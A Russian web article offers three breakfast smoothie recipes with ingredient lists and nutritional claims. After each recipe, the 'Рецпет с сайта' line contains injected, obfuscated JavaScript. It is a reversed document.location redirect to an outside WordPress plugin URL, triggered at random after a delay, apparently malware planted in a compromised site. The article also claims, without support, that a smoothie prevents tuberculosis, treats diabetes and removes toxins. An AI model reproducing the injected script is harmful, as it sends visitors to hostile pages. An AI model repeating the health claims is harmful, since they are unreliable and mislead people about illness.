3 варианта полезного и питательного завтрака

Самые спортивные братья столицы Даниил Радлов и Фёдор Гамалея по нашей просьбе рекомендуют настоящие витаминные бомбы — три полезных смузи, которые помогут быстрее восстановиться после тренировки и спастись от летней жары. А она когда-нибудь обязательно настанет!

1. Рехаб Ласси

Ласси — популярный индийский напиток пенджабского происхождения. Он готовится на основе йогурта. Наш Рехаб Ласси насыщает, снабжает организм питательными веществами, выводит шлаки и токсины. В нём содержится большое колличество каротина, а благодаря довольно высокому содержанию железа он помогает гемоглобину стать активнее и лучше снабжать клетки кислородом; улучшает обмен веществ и способствует выработке организмом энергии.

3 варианта полезного и питательного завтрака. Изображение номер 1

Фото: @zagruzky

3 варианта полезного и питательного завтрака

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

5 МИНУТ

КОЛИЧЕСТВО ПОРЦИЙ:

400 мл

КАЛОРИЙНОСТЬ:

не указана

0 calories

Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru

PT1H

PT1H

Ингредиенты

Огурец

⅓ шт.

Яблоко

½ шт.

Шпинат

1 пучок

Сельдерей

1 стебель (100 г)

Йогурт

100 мл

2. Перуанский завтрак

В этом смузи много углеводов, полезного белка и жира (в состав которого входят насыщенные и ненасыщенные жирные кислоты), пищевых волокн, крахмала, витаминов (РР, Е, группы В, Н), минералов (калий, магний, фосфор, кальций, сера, хлор, натрий, марганец, железо, цинк, йод, медь, фтор, кобальт). Он обладает многими лечебными свойствами: предупреждает нервные расстройства, устраняет слабость и депрессию, смягчает и лечит воспалённую кожу, предотвращает развитие туберкулёза — здесь много кремния, и туберкулёзные палочки от этого ослабевают; стимулирует работу половых органов, щитовидной железы, поддерживает в норме гормональный фон; снижает количество общего холестерина в крови; помогает больным сахарным диабетом, предотвращая резкое повышение уровня сахара; выводит некоторые тяжёлые металлы; укрепляет костную и мышечную ткань. В общем — идеальный напиток на завтрак!

3 варианта полезного и питательного завтрака. Изображение номер 2

Фото: @zagruzky

3 варианта полезного и питательного завтрака

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

5 МИНУТ

КОЛИЧЕСТВО ПОРЦИЙ:

400 мл

КАЛОРИЙНОСТЬ:

не указана

0 calories

Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru

PT1H

PT1H

Ингредиенты

Авокадо

½ шт.

Кокосовая вода

100 мл

Кокосовое молоко

50 мл

Мёд

50 мл

Овсяные хлопья

30 мл

3. Аппетитный

Этот аппетитный смузи содержит большое количество витаминов (Е, группы В, А, С, К, РР, фолиевая кислота), минералов (кальций, фосфор, калий, железо, натрий, сера, медь, хлор, йод, магний, бор, кобальт, марганец и др.) и мононасыщенных жиров, которые очень хорошо усваиваются организмом. Его хорошо пить при авитаминозе.

3 варианта полезного и питательного завтрака. Изображение номер 3

Фото: @zagruzky

3 варианта полезного и питательного завтрака

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

5 МИНУТ

КОЛИЧЕСТВО ПОРЦИЙ:

400 мл

КАЛОРИЙНОСТЬ:

не указана

0 calories

Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru

PT1H

PT1H

Ингредиенты

Помидор

½ шт.

Авокадо

½ шт.

Руккола

10 г

Сок лайма

10 мл

Морская соль

щепотка

Лёд

несколько кубиков

За уютное место, полезные рецепты и помощь в подготовке материала благодарим Juicy Smoothie Bar в Food Market’е универмага «Цветной».

ЕЩЁ БОЛЬШЕ ПОЛЕЗНЫХ РЕЦЕПТОВ ОТ GO BRO:

 

САМЫЕ ЗДОРОВЫЕ ДЕСЕРТЫ: 5 ПОЛЕЗНЫХ РЕЦЕПТОВ

 

5 НАПИТКОВ ДЛЯ УКРЕПЛЕНИЯ ИММУНИТЕТА

 

КАК ПРИГОТОВИТЬ МОЛОКО БЕЗ МОЛОКА

 

5 БЕЛКОВЫХ БЛЮД, КОТОРЫЕ ПОМОГУТ ВОССТАНОВИТЬСЯ ПОСЛЕ ТЯЖЁЛОЙ ТРЕНИРОВКИ

 

САМЫЕ ПОЛЕЗНЫЕ ЗАВТРАКИ С ЯЙЦАМИ И ОВСЯНКОЙ

 

5 РЕЦЕПТОВ ПОЛЕЗНЫХ СНЭКОВ И БОДРЯЩЕГО ЧАЯ

Следуйте за Go Bro в Facebook и Instagram — они плохого не посоветуют!

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector